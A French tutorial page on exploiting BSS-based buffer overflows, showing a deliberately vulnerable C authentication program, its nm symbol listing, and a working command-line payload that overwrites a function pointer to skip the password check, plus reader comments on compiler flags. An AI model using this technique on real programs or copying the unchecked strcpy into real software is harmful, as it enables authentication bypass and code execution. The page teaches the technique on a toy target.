Les Buffer-Overflows


<< Les heap-based overflows Exploitation de l'environnement >>


IV°) Exploiter un bss-based overflow

Les overflows dans le bss
   Notre dernière étude des dépassements de mémoire va concerner les dépassements de mémoire dans le bss, c'est à dire l'endroit où sont stockées les variables globales. Evidemment, les exploitations simples où l'on modifie une variable précise qui va permettre de se servir du programme en le détournant légèrement pour en faire ce que l'on veut marchent toujours. Il y a un autre type d'exploitation bien plus intéressante : le dépassement de mémoire sur les pointeurs de fonctions, ou pointer function overwrite. Cela permet de changer littéralement le cours du programme, de sauter des étapes jugées indésirables par l'attaquant, du moment qu'il sait où retomber pour poursuivre une éxécution normale du programme. Bien sûr, il est aussi possible d'utiliser ces dépassements pour retourner par exemple vers l'adresse d'un shellcode. Comme d'habitude, rien de mieux qu'un exemple pour tout illustrer.

Encore un exemple ???
   Et oui, et oui.. tout simplement car c'est le meilleur moyen de comprendre et de vérifier que l'on a compris en réessayant l'application dans des situations ressemblantes. Dans cet exemple, un administrateur système a mis en place un système qui permet l'obtention des informations systèmes qui lui sont essentielles pour le dépanage du système. Puisque il a jugé utile que d'autres personnes y aient accès, il a mis un système d'authentification avec mot de passe. Nous allons donc bien sûr nous pencher de plus près sur ce système d'identification que voici :
    //sysinfos.c SysInfos - Système d'authentification

    #include <stdlib.h>

    void authentification(char*,char*);
    void auth_reussie();

    int main(int argc, char *argv[])
    {
      static int (*function_ptr) (char*,char*);
      static char buffer[30];
      char *bonmotdepasse;

      if(argc != 2)
      {
        printf("Syntaxe: %s \n", argv[0]);
        exit(0);
      }

      bonmotdepasse = malloc(29);
      strcpy(bonmotdepasse,"_0cGj35m9V5T3Ç8CJ0À9H95h3xdh");
      bonmotdepasse[5] = 'c';
      bonmotdepasse[22] = '\0';
      function_ptr = authentification;

      strcpy(buffer, argv[1]);

      // Vérification du mot de passe
      {
        bonmotdepasse[8] = '_'; bonmotdepasse[9] = '.'; //bonmotdepasse sera à ce point _0cGjc5m_.5T3Ç8CJ0À9H9
        function_ptr(buffer,bonmotdepasse);
      }
    }

    void authentification(char *mdp,char *bonmotdepasse)
    {
      bonmotdepasse[11] = '\r'; bonmotdepasse[12] = '\n'; //bonmotdepasse sera finalement _0cGjc5m_.5\r\nÇ8CJ0À9H9
      //Ainsi seuls ceux ayant le programme pourront être authentifiés.
      printf("Vérification de votre mot de passe..\n");
      if(!strcmp(mdp,bonmotdepasse))
        auth_reussie();
      else
        printf("L'authentification a échoué.\n");
    }

    // Si le mot de passe est bon, dans ce cas ok...
    void auth_reussie()
    {
      printf("Authentification réussie...\nVoici les informations système");
      /* Suite du code */
    }

Apparemment, l'administrateur est très consciencieux. Ayant entendu parler du desassemblage des programmes, il a non seulement modifié son mot de passe dans le code, mais il a également rajoute des caractères non-imprimables que sont le retour à la ligne (\r) et le saut de ligne (\n). Ainsi, il a fourni à tous les utilisateurs ayant le droit d'utiliser le programme un deuxième programme permettant d'injecter le bon mot de passe et ainsi de s'identifier, programme tout simple que voici :
    //auth.c - Identification sysinfos

    #include <stdlib.h>

    int main() {
    execl("./sysinfos", "sysinfos", "_0cGjc5m_.5\r\nÇ8CJ0À9H9", 0);
    return 0;
    }

Malheureusement, nous n'avons pas accès à ce programme et le desassemblage est trop long pour que l'on s'amuse à l'analyser ! Il est temps d'analyser la liste des symboles pour le programme sysinfos, ce que la commande nm permet de faire :
    $ nm sysinfos
    0804975c d _DYNAMIC
    08049830 d _GLOBAL_OFFSET_TABLE_
    080486a8 R _IO_stdin_used
    w _Jv_RegisterClasses
    0804974c d __CTOR_END__
    08049748 d __CTOR_LIST__
    08049754 d __DTOR_END__
    08049750 d __DTOR_LIST__
    08048744 r __FRAME_END__
    08049758 d __JCR_END__
    08049758 d __JCR_LIST__
    08049868 A __bss_start
    0804985c D __data_start
    08048660 t __do_global_ctors_aux
    08048430 t __do_global_dtors_aux
    08049860 D __dso_handle
    w __gmon_start__
    08048659 T __i686.get_pc_thunk.bx
    08049748 d __init_array_end
    08049748 d __init_array_start
    080485e0 T __libc_csu_fini
    080485f0 T __libc_csu_init
    U __libc_start_main@@GLIBC_2.0
    08049868 A _edata
    08049890 A _end
    08048688 T _fini
    080486a4 R _fp_hw
    0804832c T _init
    080483e0 T _start
    080485c1 T auth_reussie
    08048572 T authentification
    0804986c b buffer.1865
    08048404 t call_gmon_start
    08049868 b completed.5816
    0804985c W data_start
    U exit@@GLIBC_2.0
    08048460 t frame_dummy
    0804988c b function_ptr.1864
    08048484 T main
    U malloc@@GLIBC_2.0
    08049864 d p.5814
    U printf@@GLIBC_2.0
    U puts@@GLIBC_2.0
    U strcmp@@GLIBC_2.0
    U strcpy@@GLIBC_2.0

Nous remarquons assez aisément l'emplacement des deux fonctions auth_reussie() et authentification() et le fait que le programme utilise un pointeur de fonctions ("function_ptr"). Il est assez aisé d'imaginer la possibilité d'overflow par le mot de passe du "buffer[30]" sur le pointeur de fonctions. Nous allons donc tout simplement essayer d'écraser l'adresse de "function_ptr" par l'adresse 0x080485c1 de la fonction auth_reussie et observer :
    $ ./sysinfos azertyuiopqsdfghjklmwxcvbnazerty`printf "\xc1\x85\x04\x08"`
    Authentification réussie...
    $
On remarque que l'overflow a du être de 32 caractères, soit le multiplicateur de 8 immédiatement supérieur. Encore une fois, nous ne nous étalerons pas ici sur ces particularités de la réservation de la mémoire, les documentations sont là pour ça. Ceci dit, notre dépassement de mémoire a parfaitement marché et le programme est passé directement par la fonction auth_reussie() sans vérifier notre mot de passe !

C'est une bonne chose, mais il y a certainement mieux à faire non ? Le programme que l'on utilise est SRP, ne pourrait-on pas essayer de stocker un shellcode dans une variable d'environnement et de détourner le programme vers l'adresse de ce shellcode ? Essayons !

Cette exploitation est exactement semblabe à celle dans le cas d'un buffer trop petit pour l'utilisation de la pile, article que je présente juste après. J'en profite pour préciser que classiquement, le BSS est à une adresse fixe et qu'il sert principalement de buffer pour stocker des shellcodes/données arbitraires et les réutiliser facilement dans des exploitations plus compliquées.

<< Les heap-based overflows Exploitation de l'environnement >>



12 Commentaires
Afficher tous


tonioLeRital 08/08/13 07:28
Les arguments -fno-toplevel-reorder ou/et -O0 n'y font rien par contre mettre dans une struct effectivement c'est imparable et ça marche nickel. merci encore!

FrizN 06/08/13 11:11
Oui j'ai essentiellement croisé ça sur Ubuntu.. Essayes de compiler avec -fno-toplevel-reorder ou -O0. Sinon, mets les dans une struct.

tonioLeRital 06/08/13 08:51
je suis effectivement dans le cas où mon buffer a une addresse supérieure à celle du pointeur de fonction? As-tu une astuce pour forcer le compilateur à suivre l'adressage du BSS conformément à l'ordre des déclarations dans le code? D'avance merci.


Anonyme 04/07/13 10:09
C'était effectivement ca, simple erreur d'innatention de ma part.

Merci beaucoup en tout cas !




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.